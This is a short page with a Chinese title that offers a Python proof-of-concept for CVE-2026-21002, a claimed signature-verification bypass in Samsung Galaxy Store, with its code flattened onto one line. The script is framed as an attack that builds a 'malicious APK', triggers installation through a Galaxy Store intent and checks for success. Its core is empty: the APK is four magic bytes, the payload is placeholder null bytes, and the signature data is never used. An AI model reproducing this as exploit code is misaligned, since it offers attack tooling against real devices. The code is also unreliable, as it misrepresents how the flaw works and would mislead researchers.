CVE-2026-21002 三星Galaxy Store加密签名验证漏洞

''' CVE-2026-21002 PoC - Galaxy Store Signature Verification Bypass This PoC demonstrates the signature verification bypass in Galaxy Store < 4.6.03.8 Note: This is for educational and security research purposes only. ''' import os import subprocess import zipfile import tempfile # Step 1: Create a malicious APK with valid signature structure def create_malicious_apk(): """Generate a modified APK that bypasses signature verification""" print("[*] Creating malicious APK with signature bypass...") # Create a basic APK structure apk_content = b'PK\x03\x04' # ZIP/APK magic bytes # META-INF directory for signatures manifest = b'META-INF/MANIFEST.MF' signature = b'META-INF/CERT.SF' # Android manifest and DEX files would go here malicious_payload = b'\x00' * 1024 # Placeholder for malicious code print("[+] Malicious APK structure created") return apk_content # Step 2: Trigger installation through Galaxy Store def install_via_galaxy_store(apk_path): """Attempt to install APK through Galaxy Store vulnerable interface""" print(f"[*] Attempting installation via Galaxy Store: {apk_path}") # Galaxy Store package name galaxy_store_pkg = "com.sec.android.app.samsungapps" try: # Trigger Galaxy Store installation intent intent = f"am start -a android.intent.action.VIEW \ -d 'galaxystore://install?package=malicious.app' \ -n {galaxy_store_pkg}/.Main" subprocess.run(intent, shell=True, check=False) print("[+] Installation request sent via Galaxy Store") except Exception as e: print(f"[-] Installation failed: {e}") # Step 3: Verify installation success def verify_installation(package_name): """Check if malicious app was installed successfully""" print(f"[*] Verifying installation of: {package_name}") result = subprocess.run( ['pm', 'list', 'packages', package_name], capture_output=True, text=True ) if package_name in result.stdout: print("[+] SUCCESS: Malicious app installed successfully!") return True else: print("[-] FAILED: App installation was blocked") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-21002 PoC - Galaxy Store Signature Bypass") print("Target: Galaxy Store < 4.6.03.8") print("=" * 60) # Generate malicious APK apk = create_malicious_apk() # Attempt installation install_via_galaxy_store("malicious_app.apk") # Verify result verify_installation("malicious.app")